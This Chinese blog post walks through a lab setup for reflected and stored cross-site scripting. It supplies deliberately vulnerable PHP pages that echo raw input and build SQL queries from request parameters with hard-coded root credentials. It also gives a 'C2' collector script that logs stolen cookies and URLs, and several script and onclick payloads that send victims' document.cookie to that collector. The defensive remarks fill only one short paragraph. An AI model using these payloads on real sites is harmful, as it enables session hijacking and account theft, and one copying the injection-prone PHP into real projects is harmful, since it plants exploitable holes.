xss反射型和存储型过程即实验PHP代码复现

文章探讨了C2服务器如何通过IP地址进行通信,以及XSS攻击中JavaScript如何利用getcookie和发送请求获取用户信息。强调了输入验证在防止此类攻击中的重要性,并介绍了存储型和反射型实现方式,以及数据库中的存储过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前置知识

IP和C2服务器

IP地址:相当于是每个电脑的编号,即每台联网的PC都要有IP地址,才能正常通信。

当然,有IP地址并不一定意味着可以通信。IP地址是用来标识计算机或网络设备在互联网上的位置的一组数字。通信需要更多的条件和组件,如网络连接、协议、端口等。除了IP地址,还需要确保网络连接正常、端口开放、通信协议匹配等因素,才能实现通信。因此,仅有IP地址并不足以保证通信的成功。

C2服务器

C2服务器是指命令与控制服务器(Command and Control Server),也称为C&C服务器。它是黑客或恶意软件使用的一种基础设施,用于远程控制被感染的计算机或网络。C2服务器负责接收来自恶意软件的指令,并将指令传达给受感染的计算机,以执行各种恶意活动,如数据盗取、攻击其他计算机等。

C2服务器通常使用隐藏的通信协议和技术,以避免被发现和追踪。它们可以通过域名、IP地址、IRC(Internet Relay Chat)、HTTP(Hypertext Transfer Protocol)等进行通信,以便黑客能够远程操控受感染的计算机或网络。

两者的关系

C2服务器和IP地址之间的关系是,C2服务器需要拥有一个或多个IP地址才能在互联网上进行通信。IP地址是用来标识计算机或网络设备在互联网上的位置的一组数字,它是网络通信的基础。C2服务器作为一个网络设备,也需要一个IP地址才能被其他计算机或网络找到并进行通信。

C2服务器可以使用一个固定的IP地址,也可以使用多个IP地址进行轮换和隐藏。黑客或恶意软件可以通过域名解析将域名映射到C2服务器的IP地址,以便远程控制被感染的计算机或网络。

总结来说,C2服务器需要拥有IP地址才能在互联网上进行通信,而IP地址是C2服务器被发现和进行通信的基础。

另:在实战中,恶意链接不会直接显示IP,会以域名的方式发送,而域名就好比这个人的名字,IP为其住址,溯源反制链路如下:

输入域名----域名解析服务器(dns)解析成ip地址---访问IP地址---完成访问的内容---返回信息

开始进入正题

反射型实现getcookie

info.txt是写入cookie等信息的,要记得授写权限

image-20230819105242779

php代码:

 //xssdemo.php文件
 //反射型:    
     session_start();
     $cont = $_GET['content'];
     echo "你的输入:".$cont;
 //getinfo.php文件
 c2服务器:
     $name = $_GET['username'];
     file_put_contents('./info.txt',$name);

1.通过js如何获取cookie信息:

 document.cookie

2.如何通过js发送请求:

 <script>new Image().src="http://192.168.32.129/secure19/xss/getinfo.php?username="+document.cookie</script>
 payload:
 <script>new Image().src="http://192.168.111.138/crm19/xss/getinfo.php?username="%2Bdocument.cookie</script>

image-20230819104934916

image-20230819105227303

image-20230819105231584

 其中http://192.168.111.138/crm19/xss/xssdemo.php?content=hello<script>new Image().src="http://192.168.111.138/crm19/xss/getinfo.php?username="%2Bdocument.cookie</script>

这是一个示例URL,其中包含一个潜在的跨站脚本攻击(XSS)漏洞。让我解释一下其中的细节:

URL中的参数content被设置为hello<script>new Image().src="http://192.168.111.138/crm19/xss/getinfo.php?username="%2Bdocument.cookie</script>。在这个参数的值中,我们可以看到一个JavaScript脚本被插入到了<script>标签中。

这个脚本的目的是创建一个新的Image对象,并将其src属性设置为另一个URL:http://192.168.111.138/crm19/xss/getinfo.php?username=加上当前文档的cookie值。这个URL将会发送一个GET请求,将cookie值作为参数发送给服务器。

换句话说,当用户访问这个URL时,浏览器会执行这段JavaScript代码,并发送一个带有用户cookie的请求到指定的URL。攻击者可以通过这种方式获取用户的敏感信息,如登录凭据或会话标识。

这种类型的攻击可以通过对输入进行适当的验证和过滤来防止。在这个例子中,应该对content参数进行输入验证,确保不允许插入任意的JavaScript代码。

 再比如
 ​
 http://192.168.111.138/crm19/xss/xssdemo.php?content=hello<button οnclick="javascript:location.href='http://192.168.111.138/crm19/xss/getinfo.php?username='%2Bdocument.cookie">点我</button>

image-20230819111315714

运行恶意链接并不会触发代码,如下

image-20230819111332981

点击点我之后就会触发链接,这是js代码的触发事件,关于js的事件还有很多,这里以最简单的onclick为例

image-20230819111339302

更近一步,获取其它信息,cookie+url获取

 //getinfo.php文件
 <?php
     $cookie = $_GET['cookie'];
     $url = $_GET['url'];
     // 追加法一
     // file_put_contents('./info.txt',$name,FILE_APPEND)
     //法二
     $f = fopen('./info.txt',"a");
     fwrite($f,'['.date("Y-m-d H:i:s").']    cookie='.$cookie."    url=".$url."\n");
     fclose($f);
 cookie+url获取
 ​
 <script>new Image().src="http://192.168.32.129/secure19/xss/getinfo.php?cookie="+document.cookie+"&url="+location.href</script>
 pyload:
 <script>new Image().src="http://192.168.32.129/secure19/xss/getinfo.php?cookie="%2Bdocument.cookie%2B"%26url="%2Blocation,href</script>
 ​
http://192.168.111.138/crm19/xss/xssdemo.php?content=hello<script>new Image().src="http://192.168.111.138/crm19/xss/getinfo.php?cookie="%2Bdocument.cookie%2B"%26url="%2Blocation,href</script> 

image-20230819114233844

image-20230819114205585

反射过程

image-20230819144213869

存储型实现getcookie

php代码:

xssdemo.php   
    session_start();
    $cont = $_GET['content'];
    $addr = $_SERVER['REMOTE_ADDR'];
    $conn=mysqli_connect('192.168.32.129','root','123456','test');
    $sql = "insert into head(addr,referer) values('$addr','$cont')";
    $re = mysqli_query($conn,$sql);
    if($re){
        echo 'yes';
    }else{
        echo 'no';
    }
 get_message.php
 	$id=$_GET['id'];

    $conn=mysqli_connect('192.168.32.129','root','123456','test');
    $sql="select addr,referer from head where id='$id'";

    $re=mysqli_query($conn,$sql);
    $arr=mysqli_fetch_row($re);
    if($arr){
        echo $arr[0]."<hr>";
        echo $arr[1];
    }

C2服务器(get_info.php)

    $cookie =  $_GET['cookie'];
    $url = $_GET['url'];
    //file_put_contents('./info.txt',$name,FILE_APPEND);

    $f = fopen('./info.txt',"a");
    fwrite($f,'['.date("Y-m-d H:i:s").']    cookie='.$cookie."    url=".$url."\n");
    fclose($f);

image-20230819142920901

输入
http://192.168.111.138/crm19/xss/xssdemo.php?content=hello<script>new Image().src="http://192.168.111.138/crm19/xss/getinfo.php?cookie="%2Bdocument.cookie%2B"%26url="%2Blocation,href</script> 

image-20230819143007695

数据库刷新后有如下

image-20230819142943302

看到恶意链接已经存储到服务器数据库中

之后有人访问到有恶意链接的网页(?id=15)

image-20230819143127936

此时受害人就已经中招,看到下面网络中有传输信息到C2 ,get_info.php被执行

image-20230819143212265

如下是C2服务器的文件夹

image-20230819143136124

存储过程

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值